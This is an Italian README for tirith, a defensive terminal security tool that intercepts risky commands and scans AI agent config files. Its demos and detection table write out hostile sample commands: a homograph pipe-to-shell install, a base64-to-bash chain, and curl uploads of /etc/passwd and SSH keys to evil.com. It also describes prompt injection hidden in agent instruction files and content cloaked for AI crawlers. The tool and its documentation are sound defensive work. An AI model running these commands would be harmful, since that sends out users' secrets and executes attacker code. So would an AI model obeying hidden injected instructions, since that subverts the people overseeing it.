sheeki03/tirithSicurezza del terminale per sviluppatori e agenti AI. Intercetta URL omografi, pipe-to-shell, iniezione ANSI, payload offuscati, esfiltrazione di dati e competenze/configurazioni AI dannose prima che vengano eseguiti.
Il tuo browser lo capterebbe. Il tuo terminale no.
Sito web | Documentazione | SKILL.md | Registro modifiche
Progetto open-source indipendente, con hosting supportato dal Programma Open Source di Vercel (Cohort Primavera 2026).
Riesci a notare la differenza?``` curl -sSL https://install.example-cli.dev | bash # safe curl -sSL https://іnstall.example-clі.dev | bash # compromised
Non puoi. Nemmeno il tuo terminale. Entrambi i caratteri `і` sono cirillici (U+0456), non latini `i`. Il secondo URL porta al server di un attaccante. Lo script viene eseguito prima che te ne accorga.
I browser hanno risolto questo problema anni fa. I terminali continuano a renderizzare Unicode, sequenze di escape ANSI e caratteri invisibili senza fare domande. Gli agenti AI eseguono comandi di shell e installano pacchetti senza controllare cosa contengono.
**Tirith si erge alla porta.** Intercetta comandi, contenuti incollati e file scansionati alla ricerca di URL omografi, payload offuscati, esfiltrazione di credenziali, skill/config AI malevoli e pacchetti/domini/IP noti come dannosi da un database firmato di intelligence sulle minacce prima che vengano eseguiti.```bash
brew install tirith
Quindi attiva nel tuo profilo di shell:```bash
eval "$(tirith init --shell zsh)"
eval "$(tirith init --shell bash)"
tirith init --shell fish | source
> [!TIP]
> `eval "$(tirith init)"` rileva automaticamente la tua shell corrente (ispeziona il processo padre e ricade su `$SHELL` se necessario). Il flag esplicito `--shell` è richiesto solo quando vuoi sovrascrivere il rilevamento.
Questo è tutto. Ogni comando che esegui è ora protetto. Zero attrito su input puliti. Overhead sub-millisecondo. Te ne dimentichi finché non ti salva.
Disponibile anche tramite [npm](#cross-platform), [cargo](#cross-platform), [mise](#cross-platform), [apt/dnf](#linux-packages) e [altro](#install).
---
## Vedilo in azione
**Attacco omografo, bloccato prima dell'esecuzione:**```
$ curl -sSL https://іnstall.example-clі.dev | bash
tirith: BLOCKED
[CRITICAL] non_ascii_hostname, Cyrillic і (U+0456) in hostname
This is a homograph attack. The URL visually mimics a legitimate
domain but resolves to a completely different server.
Bypass: prefix your command with TIRITH=0 (applies to that command only)
Il comando non viene mai eseguito.
Pipe-to-shell con clean URL, avvertito, non bloccato:``` $ curl -fsSL https://get.docker.com | sh
tirith: WARNING [MEDIUM] pipe_to_interpreter, Download piped to interpreter Consider downloading first and reviewing.
Warning prints to stderr. Command still runs.
**Base64 decode-execute chain, blocked:**```
$ echo payload | base64 -d | bash
tirith: BLOCKED
[HIGH] base64_decode_execute, Base64 decode piped to interpreter
[HIGH] pipe_to_interpreter, Pipe to interpreter: base64 | bash
Rileva catene di decodifica attraverso wrapper sudo/env e anche PowerShell -EncodedCommand.
Esfiltrazione di credenziali, bloccata:``` $ curl -d @/etc/passwd https://evil.com/collect
tirith: BLOCKED [HIGH] data_exfiltration, Data exfiltration via curl upload curl command uploads sensitive data to a remote server
Covers all curl/wget upload flags, env vars (`$AWS_SECRET_ACCESS_KEY`), and command substitution.
**Malicious skill file, caught on scan:**```
$ tirith scan evil_skill.py
tirith scan: evil_skill.py, 3 finding(s)
[MEDIUM] dynamic_code_execution, exec() near b64decode() in close proximity
[MEDIUM] obfuscated_payload, Long base64 string decoded and executed
[MEDIUM] suspicious_code_exfiltration, HTTP call passes sensitive data as argument
Scansiona file JS/Python per payload offuscati, esecuzione dinamica di codice e pattern di esfiltrazione di segreti.
Comandi normali, invisibili:``` $ git status $ ls -la $ docker compose up -d
Niente. Output zero. Hai dimenticato che tirith è in esecuzione.
---
## Cosa rileva
**221 regole di rilevamento in 34 categorie.**
| Categoria | Cosa blocca |
|-----------|-------------|
| **Attacchi omografi** | Caratteri cirillici/greci simili nei nomi host, domini punycode, etichette miste, TLD somiglianti, domini confondibili, rilevamento di confondibilità a livello testuale (alfanumerici matematici, script misti nella stessa parola) |
| **Iniezione terminale** | Sequenze di escape ANSI, override bidirezionali, caratteri a larghezza zero, tag Unicode, operatori matematici invisibili, selettori di variante, riempitivi Hangul |
| **Difesa dalla steganografia** | Codifica con spazi bianchi invisibili (12 varianti di spazio Unicode), Separatore vocale mongolo, caratteri riempitivi Hangul, sostituzione alfanumerica matematica, difese contro la steganografia testuale stile st3gg |
| **Pipe verso shell** | `curl \| bash`, `wget \| sh`, `httpie \| sh`, `xh \| sh`, `python <(curl ...)`, `eval $(wget ...)`, ogni pattern sorgente-a-destinazione |
| **Decodifica Base64 ed esecuzione** | `base64 -d \| bash`, `python -c "exec(b64decode(...))"`, `powershell -EncodedCommand`, catene di decodifica attraverso wrapper sudo/env |
| **Esfiltrazione dati** | `curl -d @/etc/passwd`, `curl -T ~/.ssh/id_rsa`, `wget --post-file`, upload di variabili d'ambiente (`$AWS_SECRET_ACCESS_KEY`), esfiltrazione tramite sostituzione comando |
| **Scansione file di codice** | Payload offuscati (`eval(atob(...))`), esecuzione dinamica di codice (`exec(b64decode(...))`), esfiltrazione di segreti tramite `fetch`/`requests.post` in file JS/Python |
| **Rilevamento credenziali** | Chiavi AWS, PAT GitHub, token Stripe/Slack/SendGrid/Anthropic/GCP/npm, blocchi di chiavi private, rilevamento generico di segreti basato su entropia |
| **Comportamento post-compromissione** | Lettura della memoria di processo (`/proc/*/mem`), escalation di privilegi remota Docker, scansione di file di credenziali, calibrato sugli strumenti post-compromissione di TeamPCP e UNC1069 |
| **Sicurezza dei comandi** | Sovrascrittura di dotfile, estrazione di archivi verso percorsi sensibili, accesso a endpoint metadata cloud, accesso a reti private |
| **Trasporto insicuro** | HTTP semplice reindirizzato a shell, `curl -k`, verifica TLS disabilitata, URL accorciati che nascondono destinazioni |
| **Ambiente** | Hijacking proxy, export di variabili d'ambiente sensibili, iniezione di codice tramite env, hijacking interprete, iniezione shell tramite env |
| **Sicurezza file di configurazione** | Iniezione in configurazione, indicatori sospetti, Unicode non ASCII/invisibile nelle configurazioni, sicurezza server MCP (insicuro/non fidato/duplicato/permissivo) |
| **Minacce ecosistema** | Typosquat di cloni Git, registri Docker non fidati, installazioni pip/npm da URL, endpoint RPC web3, vet-non-configurato |
| **Sicurezza dei comandi di installazione** | Repository APT aggiunti da download via pipe, `[trusted=yes]` / `--allow-unauthenticated` / `--nogpgcheck` / pacman `SigLevel = Never` (controlli firma disabilitati), `kubectl apply -f` verso manifest remoti non elaborati/accorciati, chart Helm da repository non fidati, moduli Terraform da sorgenti remote non fidate, `brew install`/`tap` da URL arbitrari |
| **Analisi dei percorsi** | Percorsi non ASCII, omoglifi nei percorsi, doppia codifica |
| **Contenuti renderizzati** | Contenuti CSS/colore nascosti, attributi HTML nascosti, analisi del contenuto dei commenti (iniezione prompt ad Alta, comandi distruttivi a Media) |
| **Rilevamento cloaking** | Cloaking lato server (bot vs browser), contenuti nascosti negli appunti, testo nascosto in PDF |
| **Windows / PowerShell** | `Set-ExecutionPolicy Bypass` / `-ep`, esclusioni Windows Defender (`Add-MpPreference -Exclusion*`), `iex (iwr ...)` inline download-esecuzione |
| **Difesa output terminale** | Scritture negli appunti OSC 52, prompt falsi, manipolazione hyperlink/titolo/cancellazione schermo OSC 8, iniezione prompt all'interno dell'output di comandi o strumenti MCP (scansionato sia raw che deoffuscato, quindi vengono rilevati anche caratteri invisibili, confondibili, spaziati, leetspeak e brevi evasioni base64/hex), ed esfiltrazione dati in output (URL beacon o direttive "leggi un segreto poi invialo") |
| **Contesto operativo** | Comandi distruttivi contro contesti cloud/k8s e host SSH etichettati come produzione, `apply` di Terraform / Pulumi / OpenTofu senza un piano salvato corrispondente, escalation sudo rischiosa, `docker run` privilegiato |
| **Workstation e persistenza** | File di credenziali con permessi lassi e token in chiaro (`~/.ssh`, `~/.aws`, `.npmrc`), punti di appoggio di persistenza (rc shell, `authorized_keys`, crontab, LaunchAgents, git `core.hooksPath`), ordinamento PATH-hijack, provenienza eseguibili, alias rischiosi e ciclo di vita delle variabili d'ambiente sensibili |
| **Raggio d'esplosione e correlazione** | Cancellazioni che escono dal repository, cancellazioni di massa, esecuzione di file scaricati da fonti rischiose e catene di sessione come scrittura-segreto poi rete o cancellazione poi `git push --force` |
| **Fiducia, attestazione e provenienza** | Discrepanza comando-firmato, tocco di honeytoken canarino, disallineamento fonte-invio paste, denial policy chiamante-origine (agente), deriva lockfile MCP e deriva AI-config rispetto a uno snapshot sicuro noto |
---
## Cosa non protegge tirith
Tirith analizza la **struttura** dei comandi, del testo incollato e dei file prima
che vengano eseguiti. È un gate di pre-esecuzione, non una difesa runtime, e non
copre:
- **Sandboxing runtime:** tirith avverte o blocca; non esegue sandboxing né isola
un comando una volta eseguito.
- **Monitoraggio di rete post-esecuzione:** ciò che un processo fa sulla rete dopo
l'avvio è fuori ambito.
- **Rilevamento malware / payload:** tirith analizza la struttura, non il
comportamento del payload. Non è un antivirus e non esegue detonazione o
corrispondenza di firme.
(`tirith run` verifica la struttura di uno script scaricato, ma non è comunque
analisi malware.)
- **Un attaccante privilegiato (root/admin):** chiunque sia già root o admin può
bypassare tirith banalmente. Difende da input ingannati, non da un attaccante
che possiede già la macchina.
- **Anti-debug / anti-manomissione:** tirith non resiste al reverse engineering
né protegge il proprio binario da un attaccante locale.
Vedi [docs/threat-model.md](https://github.com/sheeki03/tirith/blob/HEAD/docs/threat-model.md) per il modello di minaccia
completo e i non-obiettivi espliciti.
---
## Limitazioni note
- **Fragilità degli hook di shell:** la protezione dipende da un hook di shell
che rimanga installato e attivo. Gli hook possono rompersi o degradarsi
silenziosamente tra shell, versioni di shell, framework di prompt e strumenti
di cronologia. Esegui `tirith doctor` per controllare lo stato live e
monitorare degradazioni solo-avviso.
- **Funzionalità solo Unix:** la modalità demone, `tirith setup`, `tirith run` e
`tirith fetch` sono oggi solo Unix.
- **Ambito di estrazione dei nomi dei pacchetti:** copre gli ecosistemi di
linguaggi (pip, npm/yarn/pnpm/bun, cargo, gem, go, composer, dotnet,
mvn/gradle), non i gestori di pacchetti delle distribuzioni (`apt`, `dnf`,
`yum`, `pacman`).
- **Avvertenze per agenti AI:** l'intercettazione tramite hook di shell protegge
solo i comandi che passano attraverso una shell interattiva con hook. Un
agente che avvia una shell non interattiva, chiama direttamente `exec` o
esegue senza l'hook caricato non è coperto. La protezione MCP è consultiva
(l'agente deve chiamare gli strumenti MCP di tirith), non imposta.
---
## Intelligence sulle minacce
Tirith include un database locale di minacce firmato per la reputazione di
pacchetti, nomi host e IP. Quando un hook di shell o `tirith check` rileva
un'installazione di pacchetto o un riferimento a infrastruttura sospetta,
confronta quell'input con il database prima che il comando venga eseguito,
invece di affidarsi solo a euristiche statiche.
**Database firmato** (costruito quotidianamente tramite CI, verificato su
download e caricamento):
- Pacchetti noti come dannosi da [OpenSSF Malicious
Packages](https://github.com/ossf/malicious-packages) e [Datadog Security
Labs](https://github.com/DataDog/malicious-software-packages-dataset)
- Infrastruttura IP dannosa da [Feodo
Tracker](https://feodotracker.abuse.ch/) (abuse.ch)
- Typosquat confermati e baseline di pacchetti popolari da
[ecosyste.ms](https://ecosyste.ms/)
- Catalogo [CISA Known Exploited
Vulnerabilities](https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
per correlazione advisory runtime
**Feed supplementari opzionali** (sovrapposizione locale utente):
- [URLhaus](https://urlhaus.abuse.ch/) e
[ThreatFox](https://threatfox.abuse.ch/) tramite una chiave auth abuse.ch
- Blocklist di [PhishTank](https://phishtank.org/) (Cisco Talos) e [Phishing
Army](https://phishing.army/)
- Elenco dei nodi di uscita Tor da [Tor
Project](https://www.torproject.org/)
**Arricchimento live opzionale** durante `tirith check` e modalità demone:
- Ricerche advisory su [OSV.dev](https://osv.dev/) (Google OSS)
- Segnali di salute dei pacchetti su [deps.dev](https://deps.dev/) (Google OSS)
e dati dei manutentori da [ecosyste.ms](https://ecosyste.ms/)
- Reputazione URL di [Google Safe
Browsing](https://safebrowsing.google.com/) con la tua chiave API personale```bash
tirith threat-db update # download + verify the signed DB
tirith threat-db status # age, signature, version, entry counts
tirith threat-db health # install, signature, staleness, counts
tirith threat-db sources # list every feed the DB is built from
tirith threat-db explain react # what the DB knows about an indicator
tirith threat-db diff --since 2026-01-01 # count changes since a version/date
Per impostazione predefinita, gli hook della shell e tirith check attivano un controllo di aggiornamento economico in background ogni 24 ore. La modalità demone mantiene caldo lo stesso percorso di arricchimento in background.
threat-db explain accetta un dominio, un nome di pacchetto (name, ecosystem:name o name@version) o un indirizzo IPv4. Il binario non conserva alcuna cronologia per voce, quindi threat-db diff riporta i delta delle categorie e dei conteggi per fonte tra snapshot, non le voci esatte modificate. Ogni comando threat-db accetta --format json; threatdb è un alias.
tirith package risk <ecosystem> <name> valuta il rischio della supply chain / del manutentore di un pacchetto nello stesso modo in cui tirith score valuta un URL, una somma deterministica e completamente spiegabile di fattori nominati, nessun modello e nessun peso appreso. tirith package explain <ecosystem> <name> aggiunge la derivazione fattore per fattore; entrambi accettano --format json.```bash
tirith package risk npm react # 0/100, a known-popular package
tirith package risk npm reqeusts # high, one edit from a popular name
tirith package explain pypi flask # factor-by-factor derivation
tirith package risk npm left-pad --path ./node_modules/left-pad
tirith package risk --online npm react # also consult the registry API
**Offline per impostazione predefinita.** Senza flag, ogni segnale è locale, senza chiamate di rete: (1) **nome vs. pacchetti popolari**: noto-popolare, sconosciuto, o un quasi-identico a una modifica di un nome popolare (la classica forma di typosquat/slopsquat), dal set `popular` del database locale delle minacce; (2) **typosquat malevolo noto**: una corrispondenza esatta nell'indice `typosquat` del DB delle minacce; (3) **script di installazione/ciclo di vita** e (4) **blob binari in bundle**, rilevati solo quando il contenuto del pacchetto è disponibile localmente (in `node_modules` / `site-packages`, o tramite `--path`). tirith **non scarica mai** il pacchetto.
**`--online` aggiunge la provenienza del registro.** Consulta il registro del pacchetto (npm, PyPI o crates.io) per sei ulteriori fattori nello *stesso* modello di somma dei fattori: età del pacchetto/versione, un pacchetto consolidato senza proprietari, un picco anomalo di versione, download molto bassi, un repository sorgente mancante e stato yanked/deprecato. È l'unico percorso che tocca la rete (mai il percorso caldo `check`); `--offline` / `TIRITH_OFFLINE` forza la modalità offline indipendentemente. I fallimenti ricadono sul punteggio offline con un onesto `api signals: unavailable`, e le risposte vengono memorizzate nella cache con un TTL in modo che le esecuzioni ripetute non sovraccarichino i registri.
Il punteggio è consultivo e autonomo: `package risk` non è una regola di rilevamento e non modifica alcun verdetto, codice di uscita o registro di audit.
### Scansione dell'ecosistema, firewall della supply chain
`tirith ecosystem scan [path]` è il compagno a livello di directory di `package risk`. Analizza un progetto, scopre ogni manifest delle dipendenze che comprende, npm (`package.json`, `package-lock.json`), Python (`requirements*.txt`, `pyproject.toml`), Rust (`Cargo.toml`), Go (`go.mod`), Ruby (`Gemfile`), e valuta **ogni dipendenza dichiarata** con lo stesso motore deterministico a fattori `package_risk`.```bash
tirith ecosystem scan # scan the current project
tirith ecosystem scan ./my-project # scan a specific directory
tirith ecosystem scan --online ./my-project # also consult the registry API
tirith ecosystem scan --format json ./ # full machine-readable report
Integra il rilevamento dello slopsquatting. Slopsquatting è la registrazione di un nome plausibile ma falso che gli LLM tendono ad allucinare come dipendenza. ecosystem scan lo segnala solo quando tutti e tre sono veri: il nome non è noto come reale o popolare, ha la forma di un'allucinazione AI (un prefisso linguistico come python- / node- più token descrittivi, una pila di filler generici come helper / utils / client, o un nome insolitamente lungo), e si trova vicino a un nome popolare reale (un quasi-identico a una modifica, o incorpora un nome popolare come parola). Richiedere tutti e tre mantiene bassi i falsi positivi: un onesto data-utils senza un ancoraggio popolare non scatta.
Offline per impostazione predefinita, con opt-in --online. I segnali di nome e typosquatting provengono dal database locale delle minacce; --online aggiunge la provenienza del registro, regolata e degradata esattamente come package risk --online, mai sul percorso critico di check. I risultati fluiscono attraverso il normale modello Verdict/Finding di tirith: esplicabili (tirith explain --rule threat_suspicious_package), registrati nel log di audit e rispettosi dell'allowlist delle policy (un pacchetto in allowlist, per nome nudo o ecosystem:name, viene soppresso). I codici di uscita corrispondono a tirith scan: 1 per un risultato bloccante, 2 per consulenza, 0 quando pulito.
Questo aiuta a catturare pacchetti noti come dannosi, typosquat confermati, nomi di pacchetti slopsquattati, infrastrutture di download dannose e pacchetti con dati OSV / CISA KEV in tempo reale.
Famiglie di attacchi per cui tirith è stato progettato (illustrativo, non una rivendicazione di ciò che è attualmente rilevato dal codice):
L'estrazione dei nomi dei pacchetti attualmente copre gli ecosistemi linguistici (pip, npm/yarn/pnpm/bun, cargo, gem, go, composer, dotnet, mvn/gradle), non i gestori di pacchetti a livello di distribuzione (apt / dnf / yum / pacman). Ecco perché xz-utils, che è entrato attraverso i tarball delle distribuzioni Linux, non è nella tabella nonostante sia stato un incidente di primo piano.
Tirith protegge gli agenti di codifica AI a ogni livello, dalle configurazioni che leggono ai comandi che eseguono.
Quando gli agenti AI eseguono comandi shell (Claude Code, Codex, Cursor, ecc.), gli hook shell di tirith intercettano ogni comando prima che venga eseguito. Nessuna configurazione lato agente necessaria: se l'hook è attivo nella shell, tutti i comandi sono protetti:
Usa tirith setup <tool> per una configurazione con un solo comando (vedi Integrazioni Agenti AI).
Esegui tirith mcp-server o usa tirith setup <tool> --with-mcp per registrare tirith come server MCP. Gli agenti AI possono chiamare questi strumenti prima di agire:
tirith mcp lock cattura ogni server MCP dichiarato da un repository, attraverso .mcp.json / mcp.json / mcp_settings.json e le varianti di configurazione IDE (.vscode/, .cursor/, .windsurf/, .cline/, .amazonq/, .continue/, .kiro/), in un file di lock deterministico in .tirith/mcp.lock. Ogni server è registrato con il suo trasporto (un URL remoto, o un comando locale + argomenti), strumenti dichiarati e un hash del contenuto; i server sono ordinati per nome in modo che il lockfile sia friendly per i diff. La scoperta è solo locale al repository e non tocca la rete. (tirith mcp è un gruppo di comandi separato da , che esegue tirith server MCP.)
tirith mcp verify è il compagno di controllo: ricostruisce l'inventario corrente rispetto al lockfile impegnato e esce con 1 in caso di deriva (0 corrispondenza, 2 per errori di utilizzo come un lockfile mancante). tirith mcp diff riporta la stessa deriva informativamente (esce sempre con 0, 2 solo per errori di utilizzo, in modo che un consumatore possa distinguere tra "nessuna deriva" e "impossibile controllare"). La deriva emerge anche attraverso tirith scan come mcp_server_drift (Media), così un hook pre-commit o CI rileva un cambiamento sulla superficie MCP come rileverebbe un'azione non pinzata. verify / diff non stampano mai valori di env o userinfo degli URL, solo i nomi di ciò che è cambiato.
Due campi di policy governano ciò che è accettato: scan.trusted_mcp_servers sopprime i risultati di configurazione di un server e silenzia la sua deriva, e scan.mcp_allowed_tools dichiara gli strumenti esatti che ogni server può esporre (uno strumento al di fuori di quel insieme genera un risultato Alto mcp_server_drift, e la deriva che aggiunge tale strumento migliora da Medio ad Alto). tirith mcp policy init prepara entrambi i blocchi dal lockfile corrente in .tirith/mcp-policy.yaml.example, ogni voce commentata in modo che l'importazione non allarghi mai silenziosamente la fiducia.
tirith scan rileva iniezione di prompt e payload nascosti nei file di configurazione AI. Priorizza e scansiona oltre 50 pattern noti di file di configurazione AI:
.cursorrules, .windsurfrules, .clinerules, CLAUDE.md, copilot-instructions.md.claude/ settings, agents, skills, plugins, rules.cursor/, .vscode/, .windsurf/, .cline/, .continue/, .roo/, .codex/ configsmcp.json, .mcp.json, Cosa rileva nelle configurazioni:
tirith scan ispeziona anche i file che un repo controlla per descrivere la propria pipeline di build e deploy. Rileva lo schema pericoloso, non lo strumento: un'azione pinzata con SHA, un'immagine pinzata con digest, un modulo Terraform locale e un normale package.json rimangono puliti.
Cosa rileva nei file CI/di infrastruttura:
.github/workflows/*.yml), un riferimento uses: di un'azione pinzato a un ref mutabile (@v3, @main) invece di un commit SHA; il trigger pull_request_target; un curl … | bash pipe-to-shell in un passo run:; un valore ${{ github.event.* }} controllabile dall'attaccante interpolato in un passo shell run: (iniezione di script)FROM sul tag mutabile latest (o nessun tag) senza pin del digest @sha256:*.tf), un blocco proveniente da una posizione remota/non affidabile invece di un percorso locale o del Registry TerraformTre valori --profile integrati regolano la scansione: ci-hardening (ogni controllo a piena forza, fail-on high), ai-agent-repo (mantiene i risultati di iniezione, elimina il rumore di igiene del pinning di basso valore) e oss-maintainer (enfatizza il rischio controllabile dai contributori quando si esamina una modifica).```bash
tirith scan ./ # scan the repo
tirith scan --profile ci-hardening ./ # tune for CI/CD hardening
tirith scan --format sarif ./ > out.sarif
### Rilevamento di contenuti nascosti
Rileva contenuti invisibili agli esseri umani ma leggibili dall'IA in HTML, Markdown e PDF:
- **Nascondimento CSS**: `display:none`, `visibility:hidden`, `opacity:0`, `font-size:0`, posizionamento fuori schermo
- **Nascondimento tramite colore**: testo bianco su bianco, primo piano/sfondo simili (rapporto di contrasto < 1.5:1)
- **Commenti HTML/Markdown**: frasi di injection di prompt (Alto), comandi distruttivi come `rm -rf` o `curl|bash` (Medio), commenti lunghi che nascondono istruzioni (Basso)
- **Testo nascosto in PDF**: testo renderizzato a sub-pixel (font-size < 1px) invisibile ai lettori ma analizzabile dagli LLM
### Scansione di contenuti nascosti in file rilevanti per l'IA
`tirith scan` ispeziona anche i tipi di file che un agente di codifica IA (o un renderer) legge e su cui agisce, cercando contenuti **introdotti di nascosto oltre un revisore umano**. Un normale notebook, un ordinario `CLAUDE.md` con istruzioni visibili e una semplice immagine SVG rimangono puliti, si attivano solo contenuti nascosti / introdotti di nascosto.
- **Notebook Jupyter** (`*.ipynb`), caratteri invisibili / bidi / a larghezza zero nel sorgente della cella, un blob codificato in base64 incorporato nel sorgente, una cella nascosta dalla vista renderizzata (`metadata.jupyter.source_hidden` / un tag `hide_input`), e *output* di celle che trasportano caratteri invisibili o HTML attivo / nascosto
- **File di istruzioni per agenti IA** (`CLAUDE.md`, `AGENTS.md`, `.cursorrules` e simili), solo direttive *nascoste*: un'istruzione all'interno di un commento HTML (invisibile nel Markdown renderizzato) o un elemento HTML visivamente nascosto. Questi file contengono legittimamente istruzioni visibili, quindi le normali istruzioni visibili non si attivano mai
- **Immagini SVG** (`*.svg`), uno `<script>` incorporato, un gestore di eventi inline `on*`, un URI `javascript:`, un `xlink:href` / `href` remoto, o una dichiarazione di entità esterna XXE
### Rilevamento di cloaking
`tirith fetch` confronta le risposte del server tra 6 user-agent (Chrome, ClaudeBot, ChatGPT-User, PerplexityBot, Googlebot, curl) per rilevare quando i server servono contenuti diversi ai bot IA rispetto ai browser.
---
## Contesto operativo e protezioni della workstation
Oltre ai singoli comandi, diversi gruppi di comandi estendono il gate al contesto operativo e allo stato della workstation. Quelli che toccano il percorso critico sono opt-in (un flag di policy); gli altri vengono eseguiti su richiesta.
**Contesto operativo** (`tirith context`, `ssh`, `iac`, `sudo`). Etichetta una volta i tuoi contesti cloud/Kubernetes di produzione e gli host SSH, e tirith gestisce ciò che conta: un comando distruttivo contro un contesto etichettato come produzione, una connessione SSH a un host etichettato come produzione, un `apply` di Terraform / Pulumi / OpenTofu senza un piano salvato corrispondente, o un'escalation sudo senza una finestra di sessione motivata. Le etichette risiedono in `~/.config/tirith/context-labels.yaml` e `ssh-host-labels.yaml` (o con ambito repository sotto `.tirith/`).
**Igiene della workstation** (`tirith hygiene`, `persistence`, `aliases`, `env`, `exec`, `path`, `hooks`). Scansiona file di credenziali con permessi troppo permissivi e token in chiaro (`~/.ssh`, `~/.aws`, `~/.kube`, `.npmrc`, `.pypirc`), confronta i punti di persistenza che un attaccante usa (shell rc, `authorized_keys`, crontab, unità LaunchAgents / systemd-user, git `core.hooksPath`), segnala alias che oscurano comandi critici o leggono credenziali, controlla `$PATH` per ordine di hijacking, e segnala la provenienza di un binario (proprietario del pacchetto, firma del codice, se oscura un comando di sistema).
**Raggio d'esplosione e isolamento** (`tirith preview`, `watch`, `temp-run`, `taint`, `intend`, `baseline`). Anteprima dell'impatto sul filesystem di un comando distruttivo prima di eseguirlo, confronta ciò che un comando ha effettivamente modificato dopo l'esecuzione, esegui un comando non fidato in una directory usa e getta, e tieni traccia dei file scaricati da fonti rischiose in modo che eseguirli successivamente generi un risultato. `temp-run` cambia solo la directory di lavoro; è isolamento di file, non un sandbox.
---
## Fiducia, attestazione e risposta agli incidenti
- **Attestazioni di comandi** (`tirith command-card`) firmano un comando noto come sicuro con una chiave ed25519; una scheda fidata che non corrisponde più al comando attiva un risultato Alto.
- **Manifesto dei comandi del repository** (`tirith commands`) è una lista bianca `.tirith/commands.yaml` che silenzia la nota di comando sconosciuto per i comandi approvati e aggiunge una lista `dangerous[]` solo per elevazione (può restringere un verdetto, mai indebolirlo).
- **Honeytoken** (`tirith canary`) piantano token canary chiaramente sintetici; un tocco in qualsiasi comando controllato, incolla o output di strumento attiva un risultato Alto. Il rilevamento è una ricerca in un archivio locale, non un abbinamento di forma.
- **Rotazione dei segreti** (`tirith secret`) legge i risultati recenti sulle credenziali dal tuo registro di audit e stampa i passaggi specifici del provider per ruotare/revocare per 11 provider. Non ruota mai nulla da solo e non effettua chiamate di rete.
- **Modalità incidente** (`tirith incident`) dichiara una postura "sotto attacco": forza `fail_mode: closed`, disabilita il bypass `TIRITH=0`, e eleva le regole di scansione delle credenziali, decodifica-esecuzione e binari sospetti finché non la interrompi.
---
## Sicurezza di output, incolla e condivisione
- **Difesa della direzione dell'output** (`tirith view`, `tirith output`, `gateway run --filter-output`, `mcp-server --sanitize-tool-output`) neutralizza le sequenze di escape di inganno del terminale nell'output di comandi e strumenti MCP: scritture negli appunti OSC 52, falsi prompt, disallineamento degli hyperlink OSC 8 e manipolazione del titolo / pulizia schermo. Scansiona anche l'output per injection di prompt (grezzi e deoffuscati) e beacon di esfiltrazione dati. Aggiungi semi personalizzati con `injection_seeds_custom` e scegli di oscurare un blocco MCP solo con injection a un avviso (invece di bloccare l'intero output) con `mcp_redact_injection`.
- **Oscuramento sensibile al pubblico** (`tirith share`, `tirith redact`, `tirith logs`) rimuove segreti e ID cliente/tenant prima di incollare in una issue GitHub, Slack, un LLM o un paste pubblico.
- **Provenienza dell'incolla** (`tirith paste --with-source`, `tirith browser`). Con l'host di messaggistica nativa Chrome companion installato, tirith attribuisce un comando incollato alla sua pagina di origine e segnala un incolla il cui host di origine differisce da dove il comando viene eseguito.
---
## Installazione
### macOS
**Homebrew:**```bash
brew install tirith
Debian / Ubuntu (.deb):
Scarica da GitHub Releases, quindi:```bash sudo dpkg -i tirith_*_amd64.deb
**Fedora / RHEL / CentOS 9+ (.rpm):**
Scarica da [GitHub Releases](https://github.com/sheeki03/tirith/releases/latest), quindi:```bash
sudo dnf install ./tirith-*.rpm
Arch Linux (AUR):```bash yay -S tirith
**Nix:**```bash
nix profile install nixpkgs#tirith # from nixpkgs
nix profile install github:sheeki03/tirith # from upstream flake
# or try without installing: nix run github:sheeki03/tirith -- --version
Android/Termux funziona su Bionic libc, non su glibc, quindi la build aarch64-unknown-linux-gnu non può essere eseguita lì, ha bisogno del linker dinamico di glibc. Utilizza invece la build musl: tirith-aarch64-unknown-linux-musl.tar.gz è collegata staticamente e funziona su Termux senza una libc esterna.```bash
pkg install curl tar
curl -fsSL -o tirith.tar.gz
https://github.com/sheeki03/tirith/releases/latest/download/tirith-aarch64-unknown-linux-musl.tar.gz
tar xzf tirith.tar.gz
install -Dm755 tirith "$PREFIX/bin/tirith"
tirith --version
Quindi attiva l'hook della shell in `~/.bashrc` (la shell predefinita di Termux è bash):```bash
eval "$(tirith init --shell bash)" # add to ~/.bashrc
[!NOTE] Il supporto per Termux è fornito al meglio delle possibilità. L'artefatto musl viene compilato e testato in modo superficiale nella CI, ma tirith non è ancora testato continuativamente su un dispositivo Android reale. Se un hook si comporta male in Termux, apri un issue con l'output di
tirith doctor.
Tutte le funzionalità principali funzionano su Windows, inclusi rilevamento, scansione, webhook, gestione delle policy e caricamento degli audit. Gli hook shell supportano PowerShell. La modalità daemon e tirith setup sono per ora solo Unix.
Scoop:```powershell scoop bucket add tirith https://github.com/sheeki03/scoop-tirith scoop install tirith
**Chocolatey** (in moderazione, in attesa di approvazione):```powershell
choco install tirith
npm:```bash npm install -g tirith
**Cargo:**```bash
cargo install tirith
Mise (registro ufficiale):```bash mise use -g tirith
**asdf:**```bash
asdf plugin add tirith https://github.com/sheeki03/asdf-tirith.git
asdf install tirith latest
asdf global tirith latest
Docker:```bash docker run --rm ghcr.io/sheeki03/tirith check -- "curl https://example.com | bash"
### Attiva
Aggiungi al tuo profilo di shell (`.zshrc`, `.bashrc` o `config.fish`):```bash
eval "$(tirith init --shell zsh)" # in ~/.zshrc
eval "$(tirith init --shell bash)" # in ~/.bashrc
tirith init --shell fish | source # in ~/.config/fish/config.fish
Bash utilizza la modalità enter quando un autotest delle capacità ha dimostrato che funziona per la tua bash, altrimenti usa preexec. tirith setup / tirith doctor eseguono l'autotest; l'hook della shell legge il suo verdetto memorizzato nella cache all'avvio. Vedi risoluzione dei problemi per i dettagli sulle modalità, l'autotest e il comportamento di fallback SSH.
[!WARNING] La modalità preexec di bash avverte ma non può bloccare in tempo reale. Imposta
TIRITH_BASH_PREEXEC_ENFORCE=1per un blocco effettivo tramiteshopt -s extdebug. L'applicazione si rifiuta di attivarsi quandoHISTCONTROLcontieneignorespace/ignoredups/ignoreboth, qualsiasiHISTIGNOREè impostato, oset +o historyè attivo; queste condizioni rendono il blocco non atomico.
Per un blocco garantito a livello di riga su bash, esegui tirith doctor --simulate-enter; se la consegna funziona, la modalità enter è abilitata. Dove non funziona, usa preexec enforce per "blocca quando possibile; ti dice onestamente quando non può."
Nix / Home-Manager: tirith deve essere nel tuo $PATH, gli hook della shell chiamano tirith per nome in fase di esecuzione. Aggiungerlo solo a initContent non è sufficiente.```nix
home.packages = [ pkgs.tirith ];
programs.zsh.initContent = '' eval "$(tirith init --shell zsh)" '';
### Aggiornamento e verifica di tirith
tirith può verificare la propria integrità e aggiornarsi. Entrambi i comandi raggiungono la rete solo quando vengono eseguiti.```bash
